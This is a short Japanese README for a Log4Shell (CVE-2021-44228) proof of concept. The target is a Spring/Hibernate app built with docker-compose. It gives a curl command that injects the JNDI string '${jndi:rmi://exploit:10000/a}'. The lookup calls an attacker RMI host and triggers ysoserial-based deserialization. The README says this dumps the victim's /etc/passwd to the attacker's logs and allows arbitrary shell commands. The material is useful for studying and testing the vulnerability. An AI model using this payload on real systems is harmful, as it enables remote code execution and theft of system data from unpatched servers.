
CVE-2021-44228 POC - Spring / Hibernate
この実証コードは Spring / Hibernate を使用していますが、rmi -> デシリアライゼーションの同様のアプローチは、あらゆるデシリアライゼーションの脆弱性をトリガーするために使用できます
$ docker-compose up
$ curl -X POST -H 'Content-Type: text/plain' localhost:8080 --data-binary '${jndi:rmi://exploit:10000/a}'
被害者の /etc/passwd の内容が attacker コンテナのログに表示されるはずです。exploit サービスのコマンドを置き換えて、被害者上で任意のシェルコマンドを実行できます。
被害者は、標準の starter spring app を実行しており、「Spring Data JPA」(Hibernate用)、「Spring Web」、「H2」(データストア)の依存関係があります。これに加えて、以下の2つの変更のみが行われています。
slf4j ロガーを脆弱性のある log4j に置き換えすべての依存関係は最新です。特別なフラグは有効になっていません。
被害者は、/ に POST 可能なエンドポイントを公開しており、リクエストをログに記録します。
このエクスプロイトは、Hibernate エクスプロイトジェネレータを使用した ysoserial のフォークに依存しています。最新バージョンの Hibernate でエクスプロイトを動作させるには、ysoserial を再コンパイルする必要があります。